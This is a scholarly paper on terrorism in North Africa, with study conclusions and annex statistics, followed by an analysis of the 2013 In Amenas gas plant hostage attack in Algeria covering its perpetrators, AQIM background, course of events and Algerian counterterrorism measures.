The strongest terrorist organization is the AQIM that has affiliates in North Africa, but there is no real integration among them, they are much rather fragmented. There are countries, such Morocco, where there are at present only their small cells. Instead of the global jihad, they concentrate on the local authorities, such as military and police, or the civil population, e.g. kidnap for random, taking hostages, and the income from organized crimes, such as human, drug and tobacco traffic and piracy. They do not have political identity, much rather try to use the ethnic-religious conflicts to marginalize them, then infiltrate in the state authorities. The power vacuum in the weak states and the less efficient counterterrorism efforts in the undemocratic states, the ungoverned territories in the desert, and tribal areas, or the religious belief of the Muslim populations and the poverty all serve as a gap to the flourish of the terrorism in North Africa.

Only the al-Shabaab in Somalia has a strong connection with the Al Qaeda and aims primarily Western targets based on the global jihad.

On the basis of the study the conclusion can be made, that the only the democratic governance, which means the multi-party system, respect of human rights, integrity, transparency, accountability, can assure the stability and predictability of the state, which is essential in the counter-terrorism efforts. The unstable and collapsed state authorities have been the primarily factors – the most important hotbed - of the terrorism.

The state has to have strong and efficient military, police, intelligence, law enforcement, and international cooperation in the field of counter-terrorism to combat against the existing terrorist groups in the region. It includes the control of uninhabited areas, such as the desert and the rocky-mountains, or the tribal areas, also, an effective border control. The terrorist groups can successfully use the power vacuum in the state.

The well-managed internal conflict caused by ethnic and religious hostilities, both by political means, such as reconciliation, amnesty, and military using modern procedures, has been an effective tool in the defense against terrorism. The terrorist groups can easily infiltrate in the rebellion groups and militias then dominate them. The Islamic fundamentalism as a source of the religious tension has a high risk here, as well.

The unsolved economic and social problems, such as high unemployment, shortage of housing, poverty, and insufficient public services, could be the reason for the terrorism, too, because the unrest of certain social groups can lead to riots, rebellion, revolution, civil war, etc., that can undermine the integration of the state. The sharp difference between the wealth and the education of the social groups can make it easy for the terrorist groups to recruit members from here.

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[18] BOUKHARS, Anouar: *Al-Qaeda's Resurgence in North Africa?* p. 14.Working Paper, Fride and Hivos, 2013. Neatherland

Annex 1


Annex 2

Terrorist Attacks in Maghreb & Sahel Since 9/11

225
200
175
150
125
100
75
50
25
0

Maghreb

Sahel

Morocco
(9 attacks)

Mauritania
(27 attacks)

Algeria
(1,285 attacks)

Mali
(70 attacks)
N. Mali

Niger
(40 attacks)

Tunisia
(21 attacks)

Libya
(152 attacks)

Chad
(58 attacks)

204
161
153
152
178
185
144
230
104
21
55
31
44

Terror attacks African Maghreb Sahel since 9/11 hit a new high in **2013**. Largest no. of new attacks in:
Libya – 145
Algeria – 51
Tunisia – 17
& Mali – 16

◆ Annual Terrorist Attacks in Region Since 9/11

2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013

4Q 2013 Year-end Total: Inter-University Center for Terrorism Studies – January 2014

Annex 3

Iraq
Afghanistan
Pakistan
Sudan
Nigeria
Yemen
Philippines
Colombia
Somalia
DR Congo

Legend		Rank	Country	Rating	Rank	Country	Rating
Extreme risk	■	1	Yemen	Extreme	6	DR Congo	Extreme
High risk	■	2	Somalia	Extreme	7	Nigeria	Extreme
Medium risk	■	3	Afghanistan	Extreme	8	Philippines	Extreme
Low risk	■	4	Pakistan	Extreme	9	Colombia	Extreme
No Data	■	5	Iraq	Extreme	10	Sudan	Extreme

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Annex 4

Annex 5

Annex 6

Annex 7

Colour	Percentage
	Top 20%
	Top 40%
	Middle 20%
	Bottom 40%
	Bottom 20%
	no information

Annex 8

Annex 9

Annex 10

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COL. JÁNOS TOMOLYA, PhD

TERRORIST ATTACK ON TIGUENTOURINE GAS PLANT IN ALGERIA

Abstract

The In Amenas hostage crisis began on 16 January 2013, when Al-Qaeda-linked terrorists affiliated with a brigade led by Mokhtar Belmokhtar – who broke away from Al-Qaeda in the Islamic Maghreb (AQIM) in December 2012 to form his own Al-Qaeda affiliated group based in Mali /Signed-in-Blood Battalion (SBB)/ – took over 800 people hostage at the Tigantourine gas facility near In Amenas, Algeria. One of Belmokhtar's senior lieutenants, Abdul al Nigeri, led the attack and was among the terrorists killed. After four days, the Algerian Special Forces raided the site, in an effort to free the hostages.[1] At least 39 foreign hostages were killed along with an Algerian security guard and 29 terrorists. On 19 January, the Algerian security forces regained full control of the facility by using attack helicopters and tanks; 685 Algerian workers and 107 foreigners were freed. Three terrorists were captured. In the early morning hours of 16 January 2013, a terrorist group conducted a coordinated attack against a convoy of gas refinery workers, as they departed the housing area of the In Amenas Gas Refinery in eastern Algeria. AQIM remained active and dangerous.

Keywords: terrorism, In Amenas, Al-Qaida in Islamic Maghreb, hostage crisis.

Introduction

The "Jasmine Revolution" during the so called "Arab Spring" of 2011 challenged and changed the political landscape in the Maghreb, North Africa,[2] and the Mid-Eastern world. The supposedly "democratic" Arab Spring movement has given way to chaos, and Islamists such as the Muslim Brotherhood, Al-Qaeda (and its franchises), and the Islamist jihadist groups such as the Signed By Blood (SBB), whose aim is to make a name for themselves by actively seeking targets throughout the region. Islamist militant groups are active across the northern half of Africa – from Mauritania in the west to Somalia in the east – with Western countries, especially France and the US working with local security forces to counter them.[3] (for the map of Islamist militant groups and their areas of influence in Africa and Al-Qaeda cast Shadow over Sahel region see Annex A). The Maghreb (more specifically, Algeria, Mauritania and Morocco has been the

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[1] Peter BEAUMONT, Paul GALLAGHER: *Algeria hostage crisis over after further casualties* The Observer, Sunday 20 January 2013 http://www.guardian.co.uk-/world/2013/jan/19/algeria-siege-ends-hostages-killed

[2] Dr habil Maria BORDAS PhD: *Problems of State Inefficiency and Terrorism in North Africa.* 19/11/2013, lecture given in Ankara NATO COE-DAT „Terrorism in North Africa from NATO perspective NATO ARW" international conference. NATO Science for Peace and Security Series Vol 126. pp 56-57.

[3] BESENYŐ János: *A nemzetközi terrorizmus veszélye Észak-Afrikában,* Honvédségi Szemle LXI. Évfolyam-2007/12, 41-50. oldal

subject of an insurgency since 2002 waged by the Islamist militia, Salafist Group for Preaching and Combat (GSPC). The GSPC allied itself with the Al-Qaeda Organization in the Islamic Maghreb (AQIM) against the Algerian government[4]. This alliance created a division within the GSPC and led to the creation of the Free Salafist Group (GSL), another militant group opposing the Algerian government and Western interests. The conflict is a continuation of the Algerian Civil War that ended in 2002, and has since spread to other neighboring countries. Algeria and other Maghreb states affected by the insurgency have been assisted in fighting Islamist militants by the USA and the United Kingdom since 2007.[5]

This article provides an analysis of the In Amenas attack that situates the event within the context of recent momentum-gaining social movements in southern Algeria. These movements are not in themselves radical, but reflect a growing disenchantment with the Algerian state's ability to fulfill its functions in the south, such as providing employment opportunities and development, and curbing corruption. It is only the coarsest interpretation that views counterterrorism in southern Algeria as a matter of killing militants; mapping terrorism onto the failure of peaceful movements to achieve significant change and reform, on the other hand, may reveal root reasons for radicalization and subsequent policy measures to address them.

The Situational Environment

The Tigantourine gas facility is located about 40 kilometers (25 mi) south-west of In Amenas, close to the Libyan border and about 1,300 kilometers (810 mi) south-east of Algeria's capital city, Algiers. The Algerian state oil company Sonatrach operates the gas field jointly with the British firm BP and the Norwegian firm Statoil. It supplies 10% of Algeria's natural gas production. The In Amenas Gas Project is a multinational joint venture and the largest production wet gas facility in Algeria. The Tigantourine facility processes over nine billion cubic meters of natural gas annually. According to Sonatrach, Algeria's state-owned petrochemical company, more than 700 workers are assigned to the facility. Among the workers present on 16 January were over 130 foreign nationals and expatriates from Norway, Japan, England, the United States, and several other countries. The site's geographic isolation, which delayed response forces, coupled with the presence of large numbers of western workers, favored the terrorists' objectives. The region has experienced decades of terrorist activity as part of the Islamic Maghreb effort to establish an Islamic caliphate across north-western Africa. Struggles with Islamic radicals in Algeria, often referred to as the "gateway between Europe and Africa," boiled into civil war in the 1990s. In 2006, after a period of deescalating tension, Al-Qaida formally joined forces with the Salafist Group for Preaching and Combat, also known as the Groupe Salafiste pour la Prédication et le Combat (GSPC). In 2007, the solidified group became known as Al-Qaida in the Islamic Maghreb (AQIM).[6] According to Algerian government sources, Algeria, a former French colony, experienced nearly 200 attacks each year in 2011 and 2012, the majority of which targeted

[4] Dario CRISTIANI and Riccardo FABIANI: *Al Qaeda in the Islamic Maghreb (AQIM):Implications for Algeria's Regional and International Relations.* Instituto Affari Intenationali IAI WORKING PAPERS 11 | 07 – April 2011 page 7. http://www.iai.it/pdf/DocIAI/iaiwp1107.pdf

[5] http://www.scribd.com/doc/126275001/Sereg-Szemle-VIII-evfolyam-3-szam-2010-julius-szeptember-148-154-oldal

[6] Jonathan MASTERS: *Al-Qaeda in the Islamic Maghreb (AQIM).* Backgrounder Publications January 24, 2013 The Council on Foreign Relations (CFR) http://www.cfr.org/world/al-qaeda-islamic-maghreb-aqim/p12717

military and police as well as western workers and tourists with bombings, ambushes, and kidnappings. Algerian counterterrorism efforts produced encouraging results in 2012, and helped to foster the expansion of foreign investment in energy production. That same year, though, Mali – a country southwest of Algeria – cascaded into civil war as insurgent forces swept toward the country's capital of Bamako resulting in French military intervention.[7] In the Sahara and the Sahel extremists belonging to various organizations move seemingly unhindered from one country to another. They number a few thousand at most, but their impact is noticeable. Many have gained experience in Somalia and some more recently in Libya[8] and Yemen. The groups they have formed are explicitly transnational. The leaderships of AQIM and the MUJAO are drawn from a cross-section of Saharan countries. AQIM emerged at the turn of the century in the aftermath of the Algerian civil war, and many of its members are Algerian; in 2006 it formed a "blessed union" with Al-Qaeda, as it was described by Osama bin Laden's then-deputy, now-successor, Ayman al-Zawahiri. Since then it has both "Africanised", providing help to groups such as Boko Haram, and internationalized, recruiting Pakistanis, Arabs and a few Europeans fleeing from the drone-depleted battle grounds of North Waziristan in Pakistan.

Tuareg rebellion in Mali for Azawad

Azawad is a territory situated in northern Mali as well as a former unrecognized state. Its independence was declared unilaterally by the National Movement for the Liberation of Azawad (MNLA) in 2012 after a Tuareg rebellion drove the Malian Army from the territory. Initially their effort was supported by various Islamist groups. Azawad, as claimed by the MNLA, comprises the Malian regions of Timbuktu, Kidal, Gao, as well as a part of Mopti region, encompassing about 60 percent of Mali's total land area. Azawad borders Burkina Faso to the south, Mauritania to the west and northwest, Algeria to the north and northeast, and Niger to the east and southeast, with undisputed Mali to its southwest. It straddles a portion of the Sahara and the Sahelian zone. Gao is its largest city and served as the temporary capital, while Timbuktu is the second-largest city, and intended to be the capital by the independence forces. On 6 April 2012, in a statement posted to its website, the MNLA declared "irrevocably" the independence of Azawad from Mali. In Gao, on the same day, Bilal Ag Acherif, the secretary-general of the movement, signed the Azawadi Declaration of Independence, which also declared the MNLA as the interim administrators of Azawad until a "national authority" is formed. The proclamation has yet to be recognized by a foreign entity, and the MNLA's claim to have *de facto* control of the Azawad region was disputed.

A rift was developing with Islamists. The Economic Community of West African States, which refused to recognise Azawad and called the declaration of its independence "null and void", has said it may send troops into the disputed region in support of the Malian claim. On 26 May, the MNLA and its former co-belligerent Ansar Dine announced a pact in which they would merge to form an Islamist state under Sharia law. Some later reports indicated the MNLA had decided to withdraw from the pact, distancing itself from Ansar Dine. Ansar Dine later declared that they rejected the idea of Azawad independence. On 14 February 2013 the MNLA renounced their claim of independence for Azawad; it asked the Malian government to start negotiations on its

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[7] Janos BESENYO: *Háború Európa előterében: a Mali krízis*, **Sereg Szemle,** XI. évfolyam, 1. szám, 2013. január-március 105-134. oldal

[8] BESENYŐ János – MARSAI Viktor: *Országismertető Líbia,* p. 92-93

future status. MUJAO is led by a Mauritanian, Hamada Ould Mohamed Kheirou, whose deputies are Algerian and Malian[9]. These men support the previously unknown group that carried out the gas-plant attack, whose name translates as the Signed-in-Blood Battalion. That group's membership included Malians, Tunisians, Nigeriens, Mauritanians and at least one Canadian, according to Algerian officials. The group has been sanctioned by the United Nations Security Council, citing an alliance with AQIM in 2012.[10] The mastermind behind the attack, Mokhtar Belmokhtar, is an Algerian who trained at bin Laden's Afghan camp in Jalalabad almost two decades ago, later joining Algerian guerrillas and then AQIM.

Jihadists frequently follow in the footsteps of other illicit networks. Belmokhtar, the mastermind behind the gas-plant attack, is also known as Mr. Marlboro for his sideline in smuggling cigarettes. Other extremists co-operate with, or have become traders in, weapons and drugs. South American cocaine lords have formed partnerships with West African criminal gangs to land their haul in coastal countries like Guinea-Bissau, from where it is taken by pickup truck all the way to the Mediterranean for onward transport to Europe. Conflicts between competing smuggling networks in Mali and western Niger contributed to the previous Tuareg uprising which first alerted jihadists to the potential of the area as a haven.[11] The Sahara looks in some ways more like a last resort than a springboard to worldwide mayhem. Although evidence suggests that the core of Al-Qaeda is coming to regard Africa as the strategic centre of its operations, AQIM itself has not yet shown much interest in taking the fight to the "far enemy" in Europe.[12] Battle-hardened Jihadists are more likely at the moment to travel to Syria than to Mali. Western intelligence agencies are taking the possibility of a threat seriously, which should diminish it further.

The French are particularly wary, and have four ongoing judicial investigations into jihadist networks linking France and Mali. Algeria has the biggest forces in the region, and recently took the lead in initiatives against the threat posed by Al-Qaeda since the Libyan revolution. Large parts of Col Gaddafi's extensive but symbolically guarded arms supplies went missing as his rule collapsed, and many weapons are thought to have found their way across the Sahara to Al-Qaeda's local franchise. They may have been bought with European money: governments have quietly paid large sums to free westerners captured by local jihadist. NATO believes Touareg tribesmen, some of whom fought in Col Gaddafi's army, transported and sold weapons directly to militants in Mali. With no border between Libya and Mali, it is likely some of those weapons crossed Algerian territory.[13] Some analysts say Algeria was initially unwilling to take action so long as the jihadist operated elsewhere – last year was the quietest for terrorist incidents in Algeria for years, as the jihadists concentrated on northern Mali. However, it came under pressure from the United States, which after years when Algeria was a Soviet protégé has become more closely entwined with the country because of its importance in combating terrorism.

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[9] Terrorists, traffickers forge union in African desert. Maghaberia. 24 February 2012. Retrieved 6 April 2012. http://magharebia.com/en_GB/articles/awi/reportage/2012/02/24/reportage-01

[10] Resolution 2085 (2012)". UN Security Council. 20 December 2012. Retrieved 23 January 2013. http://www.un.org/ga/search/view_doc.asp?symbol=S/RES/2085(2012)

[11] http://uni-nke.hu/uploads/media_items/aarms-vol-12_-issue_2_-2013.original.pdf

[12] William THORNBERRY and Jaclyn LEVY: *Al-Qa'ida in the Lands of the Islamic Maghreb (AQIM)* Center for Strategic and International Studies (CSIS) http://csis.org/publication/al-qaeda-islamic-maghreb

[13] United Press International, Inc.: Al-Qaida steps up North Africa attacks Oct. 11, 2011 http://www.upi.com/-Top_News/Special/2011/10/11/Al-Qaida-steps-up-North-Africa-attacks/UPI-87721318356490/

Algiers set up a joint intelligence base in the city of Tamanrasset with Niger, Mali, and Mauritania to monitor the threat. The desert routes smugglers and extremists use have been known to nomadic tribes for centuries, and little has changed except for the replacement of the camel by the pickup truck.[14] Robert Fowler, a Canadian diplomat the special envoy of UN Secretary-General Ban Ki-moon to Niger captured by extremists in 2008 and held for months[15], has recounted how his captors knew the featureless terrain by heart, navigating with little more to guide them than the unrelenting sun, recovering supplies cached near the occasional thorn tree when needed.

All hang together

The Sahara and Sahel is a very challenging military environment. Malian government troops deployed in the desert are said to work only from 4am to 10am, after which they spend the rest of the day in the shade of their vehicles. The region is landlocked and offers few places to hide. But this does not mean the extremists are helplessly exposed. A report from Mali by the Associated Press talks of bulldozers and earth movers being used to build "an elaborate network of tunnels, trenches, shafts and ramparts". While extremists cross borders easily, states in the region are mostly both unwilling and unable to intervene in the affairs of their neighbors. The Economic Community of West African States (ECOWAS)[16] (French: *Communauté économique des États de l'Afrique de l'Ouest*, CEDEAO) is a regional group of fifteen West African countries, prevaricated over Mali for almost a year. The ECOWAS nation assigned a non-aggression protocol in 1990 along with two earlier agreements in 1978 and 1981. They also signed a Protocol on Mutual Defence Assistance in Freetown, Sierra Leone, on 29 May 1981, which provided for the establishment of an Allied Armed Force of the Community. Some ECOWAS members are now sending troops but they will be reliant on Western intelligence and logistics.   Algeria's police recorded 175 terrorist events in 2012, which number is representing a significant reduction from 200 in 2011. Although the recent trend has been towards a reduction from the peak of activity in 03-07, up until the most recent attack the terrorist activity in Algeria has been characterized as being PBIED/VBIED attacks on military and police targets. Kidnapping for ransom has continued to remain a threat with operations over the last decade earning perpetrators between US$50M and US$90M in revenue. AQIM engaged in notable terrorist activities in non-urban areas, including the first major terrorist attack in Western Algeria since July 2009, the first kidnapping of a foreigner in southern Algeria since 2003. The group's repeated attempts to move weapons from Libya into northern Mali and southern Algeria were partially stymied by joint Algerian and Nigerien border security operations. The dimension of organized criminal activity in the Sahel region fundamentally changed in recent years. As profit from cocaine smuggling and abduction of foreign nationals increase substantially, criminal networks are expanding their influence, eroding both the rule of law and existing social structures. The growing Al Qaeda in the Islamic Maghreb (AQIM) should equally be seen in the context of developing criminal networks.

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[14] http://uni-nke.hu/uploads/media_items/aarms-2014-2.original.pdf

[15] Robert R. FOWLER: *A Season in Hell: My 130 Days in the Sahara with al Qaeda* (8 Nov. 2011). Page 47. HarperCollins Publishers Ltd. ISBN 1443402044.

[16] The Economic Community of West African States. Peace Keeping & Security Directorate decisions 212
http://www.comm.ecowas.int/sec/index.php?id=about_a&lang=en

With regard the countering these phenomena, the key states are Algeria, which claims regional leadership, and Mali, which has yet to begin tackling organized crime.

Algerian Countering Terrorism

Algeria is a member of the Middle East and North Africa Financial Action Task Force (MENAFATF), a Financial Action Task Force (FATF)-style regional body, and hosted one of the 2011 plenary sessions. The Government of Algeria was reviewing its 2005 Anti-Money Laundering/Counterterrorist Financing (AML/CTF) law to determine amendments necessary in order to comply with FATF Recommendations. As a result, Algeria was working on elements of an Action Plan it drafted with the FATF as part of the International Cooperation Review Group process. Algeria has examined the deficiencies in its Financial Intelligence Unit and is working to improve analytical and resource capacity there as well. In early 2011, Algeria rescinded a July 2010 presidential decree that mandated that all financial transactions over U.S. $6,670 be conducted by credit card, check, or other non-cash method in an effort to increase financial transparency, track illegal financing of terrorism, and reduce the possibility of corruption. Algeria had no specific legislation to freeze terrorist assets but maintained that its ratification of international terrorist financing conventions gave it the authority to do so. The MENAFATF report cited no clear legal obligation requiring financial institutions to include information on transaction originators. The report also noted that Algeria's Central Bank did not routinely circulate lists to financial institutions.[17]

Algeria is a founding member of the Global Counterterrorism Forum (GCTF). In November, Algeria co-chaired and hosted the first meeting of the GCTF's Sahel Working Group; foreign ministry officials from more than 30 countries and international organizations met and discussed border control, law enforcement, and countering terrorist financing. Algeria hosted a partnership conference in September for foreign ministry and defense officials from Algeria, Mali, Mauritania, and Niger, who were joined by counterterrorism and development officials from 20 other countries and international organizations to discuss law enforcement and development issues in the region. The presidents of Mali and Mauritania made state visits to Algeria in October and December, respectively, to discuss security and economic issues. These efforts were in addition to the combined military command center in Tamanrasset (in southern Algeria) and the intelligence sharing center in Algiers that housed representatives from Algeria, Mali, Mauritania, and Niger. Algeria carried out periodic counterterrorism consultations with the United Kingdom, Russia, Italy, Germany, the Netherlands, and the United States through standing bilateral contact groups.

The Algerian government enlisted religious scholars and former terrorists to appear on its Radio Quran radio station to appeal directly to terrorists active in the mountains. Programs featured Islamic scholars from Algeria and Gulf countries who argued against the doctrines used by AQIM to justify terrorist operations. Former Algerian terrorists appealed to terrorists to stop fighting and surrender to Algerian authorities. Other radio programs instructed listeners in various aspects of Islamic law. Algerian newspapers reported that the radio appeals played a major role in convincing scores of terrorists to lay down their arms and take advantage of government amnesty.

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[17] 2011 International Narcotics Control Strategy Report (INCSR), Volume 2, Money Laundering and Financial Crimes: http://www.state.gov/j/inl/rls/nrcrpt/index.htm.

(Under the Charter for Peace and National Reconciliation, the Algerian government has offered amnesty to terrorists who surrender and who have not committed major terrorist acts.) The government had the authority to pre-screen and approve sermons before they are delivered during Friday prayers. In practice, each province and county employed religious officials to review sermon content. The Ministry of Religious Affairs' educational commission is responsible for establishing policies for hiring teachers at Quranic schools and ensuring that all imams are well-qualified and followed governmental guidelines aimed at stemming violent extremism. The government also has youth outreach programs through the Muslim Scouts. Although the attack was claimed to have been launched in revenge for the French-led intervention in Mali, the scale and complexity of the attack suggests that it has been some time in the planning, perhaps as early as Dec 12 when the group that carried it out was formed. The link to Mali provided a convenient and timely 'hook' for the attack. Indeed, the attack on In Amenas was believed to be retaliation for the French intervention, Operation Serval, launched Jan. 11 that pushed the jihadists out of the sanctuary in northern Mali they had seized in 2012.

The terrorist attack

The crisis began in the early morning of 16 January 2013. 32 Islamist terrorists in three vehicles, who had entered Algeria from Libya and northern Mali, attacked two buses transporting employees from a natural gas plant near the town of In Amenas in far eastern Algeria, about 60 kilometers (37 mi) west of the border with Libya, killing a number of the employees.[18] At 5:40 AM, militant gunmen in Toyota Land Cruisers stormed the plant, heading to the living quarters. The terrorists and their hostages moved into the facility itself. The terrorists rigged the plant with explosives, and threatened a "tragic end" should attempts be made to free the captives. As the assault began at the plant's gates, guard Mohamed Lamine Lahmar succeeded in activating a plant-wide alarm, warning the whole site that a terrorist attack was in progress. Lahmar's actions made it possible for some people to hide and for others to shut down essential processes of the site and possibly prevent its destruction from explosives detonation. Lahmar was shot to death by the terrorists immediately afterward. In addition, a Briton was also killed and at least seven others were injured during the initial capture of hostages and assault on the plant. For a number of hours, the gunmen hunted door-to-door for foreigners, dragging workers from under beds and behind cupboards, beating some who refused to leave, shooting others as they tried to run away. Some foreigners had their hands bound behind their backs, and some had their mouths taped. The gunmen affixed Semtex bombs around the necks and waists of some of them. Many were killed with a bullet to the head. Several Algerians helped to hide foreigners. Subsequently, Algerian security forces surrounded the facility. At midday local time on 17 January, Algerian Special Forces launched an attack to retake the facility and free the hostages. During the fighting, some hostages were shot in the head by the militants, and others were used as human shields.

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[18] http://www.guardian.co.uk/world/interactive/2013/jan/25/algeria-hostage-crisis-full-story

Perpetrators

One group of Al Qaeda in the Islamic Mahgreb, known variously as both *Katibat al-Mulathameen* ('The Masked Brigade') and *al-Muwaqqiʻūn bi-d-Dimā'* (Arabic: الموقعون بالدماء 'Those who Sign with Blood'), perpetrated the attack. The terrorists were under the command of Mokhtar Belmokhtar, known also as Khalid Abu al-Abbas. Katibat Muaqi'in bil Dam (Signed-in-Blood Brigade) led by former AQIM commander Mokthar Belmokthar (split from AQIM in 2012 and formed new group (also known as 'Masked Brigade') in December last year). The group carrying out the attack were equipped and organized as follows:

a. *Personnel.* A large group of 32 terrorists may have been sub-divided into two or three smaller task-based groups. These large-scale dismounted attacks are not uncommon. Background of the attackers is unknown but it is reported that two members were Canadian nationals and five Algerian nationals.

b. *Vehicles.* Although vehicles were used in the various phases of the operation there is no information to suggest at this stage that they were used for anything other than transportation and logistics.

c. *Weaponry.* They had a large range of weapons like assault rifles, MMG, LMG (PKM variants), and RPG-7. Algerian news media visually confirmed the spectrum of weapons recovered from the site. The volume and range of weapon systems deployed indicates that the adversaries were intent on a violent and prolonged battle with any forces sent to resolve the situation.[19] Anecdotal reporting suggests that an array of antipersonnel obstacles were deployed during the later phases of the terrorist operation. It is likely that a range of victim-operated booby traps (rudimentary tripwire detonated fragmentation grenades) and AP Mines were deployed on likely approach routes and entry points to the site. The purpose behind the use of these obstacles would have been twofold: firstly, to create maximum delay to the Algerian government response and secondly, create maximum casualties. Some reporting suggests that a form of 'reserve demolition' may have been prepared to destroy the gas plant.[20]

Al Qaeda in the Islamic Maghreb (AQIM)

The oldest of the Islamist militant groups operating in North Africa, Al-Qaeda in the Islamic Maghreb (AQIM) came into being in 2005 when it changed its name from the Algerian Salafi Group for Call and Combat (GSPC) and announced its allegiance to Osama Bin Laden.[21] The GSPC was founded in 1998 following the dismantling of the Armed Islamic Group (GIA) - the militant group that fought the Algerian government during the 1990s. Abu Mus'ab Abdel-Wadood, also known as Droukdel, a former GIA fighter, became the group's leader in 2003 and since then has been organising operations in Algeria and in Mali. In September 2006, the GSPC joined forces with Al Qaeda. In January 2007, the group announced that it had changed its name

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[19] Source: active-watch OSINT intelligence monitoring service from www.sevenquestions.co.uk

[20] Comment from ICMC of COE-DAT: Whilst the adversary had sufficient time and equipment to prepare a reserve demolition of the gas facility, no such event occurred, either because Algerian Government intervention disrupted the attempt or because the attempt failed due to poor planning/execution.

[21] BESENYŐ János: *Terrorexport a Szaharába - Al-Káida klón a sivatagban,* A Földgömb, 2011. július-augusztus, 38-41. oldal

to Al Qaeda in the Islamic Maghreb (AQIM) to reflect its alliance with Al Qaeda, from which it receives material and financial support. AQIM carries out attacks against the Algerian military and also kidnaps Western tourists in an effort to weaken and ultimately overthrow the Algerian government, which it seeks to replace with Islamic rule based on a "pure" interpretation of the Quran. In 2007, AQIM attempted to assassinate the Algerian President Abdelaziz Bouteflika. AQIM aims to specifically focus attacks on Algerian, French and American targets. According to the Council on Foreign Relations, the organization has sent North African insurgents to Iraq to fight American and coalition forces as suicide bombers and foot soldiers.

In September 2007, founder and former leader Hassan Hattab surrendered to Algiers security services and accepted amnesty. In October 2007, Algerian security forces killed three terrorist members of AQIM - Abou Tourab, Oussama Abou Ishak, and Sofiane El-Fassila (second-in-command of AQIM and leader in Algiers) - during an anti-terror operation. Focus of Operations: Algeria; Mali; Mauritania; Niger; Chad; Senegal; and Nigeria. Elements from AQIM were involved in clashes with Tunisian security forces in May 2013 in the Chaambi Mountains on the Algerian-Tunisian border. Notwithstanding AQIM appears to have suffered a major blow following the defection of some of its fighters who went on to set up their own groups, currently has around 700 fighters. Current leader is Ahmed Haroun. The ideology of AQIM is marked by the Militant Islamic Fundamentalism. The announced goals of AQIM is to stablish a theocracy in Algeria, the Middle East, and ultimately worldwide. Also seeks to expel Westerners from historically Muslim lands.[22] Libyan hardliner Islamist sources declared that the kidnappers had logistical support from Islamists in Libya, like for example aiding the media to contact the terrorists, while local Algerian outlets like Numidia News or TSA said that the attackers wore Libyan uniforms, had Libyan weapons and vehicles. According to a senior Algerian security source, Zintan brigades men sold arms to the assailants group, and former Libyan Islamic Fighting Group emir Abdelhakim Belhadj had prior knowledge of the attack on In Amenas.[23]

Attack Targets of "Signed-in-Blood Battalion"

The target for the attack should be divided into tactical and strategic target or target audience.
a. *Tactical Target*. The tactical level target for the operation was foreign employees at the *In Amenas* plant. Algerian/local/Muslim employees were collateral.
b. *Strategic Target*. The strategic target (audience) for the attack was assessed as being European Governments (which by inference are supportive of US, and latterly French, counter-terrorism operations in Central Africa/Maghreb) and compliant regional governments. Late in 2012, plans and preparations were underway for an AQIM attack in Algeria targeting multinational-owned, critical infrastructure with easy access from safe-haven terrorist bases in Libya. According to a 21 January 2013 article in *MacLean's* magazine, Algerian sources reported that at least one of the attackers had been a driver at the facility; an indication of insider-sourced

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[22] United States Department of State, *Country Reports on Terrorism 2011 - Algeria*, 31 July 2012, available at: http://www.refworld.org/docid/501fbcc5c.html [accessed 12 July 2013]

[23] http://ent.siteintelgroup.com/index.php?option=com_content&;view=article&id=11062:al-qaeda-official-in-the-sahara-challenges-intervention-calls-for-support&catid=9:multimedia&Itemid=880

pre-attack intelligence used in planning. The "Signed in Blood Battalion" – a self-named sub-group of the AQIM that is commanded by and under the operational command of Mokhtar Belmokhtar – launched the attack with a heavily armed team of 33-40 terrorists. Two Canadian citizens were members of the attack team, according to Algerian sources. In addition, the terrorists convoyed from Libya, under the cover of darkness, in as many as nine Toyota vehicles disguised with markings resembling those on Sonatrach company vehicles. The terrorists, who were armed with AK-47 rifles, PKM variant machine guns, RPG-7 grenade launchers, and an array of explosives, first ambushed an escorted convoy of buses carrying workers departing along the single access road from the gas plant's Al-Hayat housing complex, which is about 1.5 miles from the main plant.[24] The terrorists then proceeded to neutralize the plant's security checkpoint with small arms fire – but not before Mohamed Lamine Lahmar, a security guard later killed in the engagement, had activated the plant's distress alarm. The terrorists then divided into several assault teams, executing coordinated operations against the Al-Hayat complex and the Tigantourine processing facility. At both locations, word spread quickly as workers responded to the piercing alarm, coupled with the information that they were under attack. Thanks to the early warning and to the quick thinking of many workers who adhered to the site protocols governing responses to terrorist attacks, some were able to escape or hide. Other workers in the plant's process control room began shutting down processing units and gas feed valves; these actions also were consistent with the plant's protocols for responding to alarms. As the terrorist assault continued, survivors later reported, electricity was being shut down throughout the site. The survivors also reported that the terrorists started to collect and segregate the hostages into small groups. Unlike the relatively compressed ground areas in other hostage takeovers – the 2002 Beslan School attack in Ingushetia, Russia, for example and the Dubrovka theater attack in Moscow that same year – the In Amenas Gas Refinery is a sprawling complex covering slightly over five square miles. The plant's workers, supported by a modest security force, are scattered throughout the entire area. In addition to the elements of surprise and overwhelming force, the survivors also reported that the terrorists used both ruse and deception – coercing some hostages, for example, to lure hiding workers into the open. Some of the hostages were summarily executed, regardless of their compliance with terrorist instructions. Most of the Algerian workers and Muslims were released, but some non-Muslim foreigners were not only retained but also were fitted with collar and belt bombs. As the terrorists consolidated their control over the facility, the hostages were dispersed to various holding locations throughout the complex. Of course, there is not confirmed information presenting the Scheme of Manoeuvre. However, after analysis sequences of the attack, following Scheme of Maneuver can be suspected:

    a. Phase 1 – Planning and Reconnaissance.
    b. Phase 2 – Secure compounds. Infiltrate into Algeria from Libya.
    c. Phase 3 – Negotiate and to be prepared for response.
    d. Phase 4 – Final Resistance.

Conduct of a violent delay battle with the intention to create maximum casualties and maximum destruction (including the destruction of the gas plant itself).

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[24] http://www.jamestown.org/single/?tx_ttnews%5Btt_news%5D=34964

Demands and Hostages

Two overlapping but distinct narratives emerged in the early hours of the Tigantourine attack in return for the safety of the hostages. The terrorists demanded an end to French military operations against Islamists in northern Mali, the release of Aafia Siddiqui and the "blind shaykh" from prison.[25] A spokesman claiming to represent the "Masked Brigade" (or al-Mulathameen Brigade) said the hostage seizure was a response to Algeria's opening of its airspace to French warplanes that attacked Mali's militants five days prior. Another report mentioned a demand for the release of Aafia Siddiqui and Omar Abdel-Rahman, both held in American prisons on terrorism-related convictions. On the other hand, the Sons of the Sahara called upon the youth of Algeria "to respond to injustice and aggression" by overthrowing the Algerian regime and installing an Islamic state. Other reports suggested the hostage-takers demanded the release of about 100 Islamist prisoners held in Algeria.

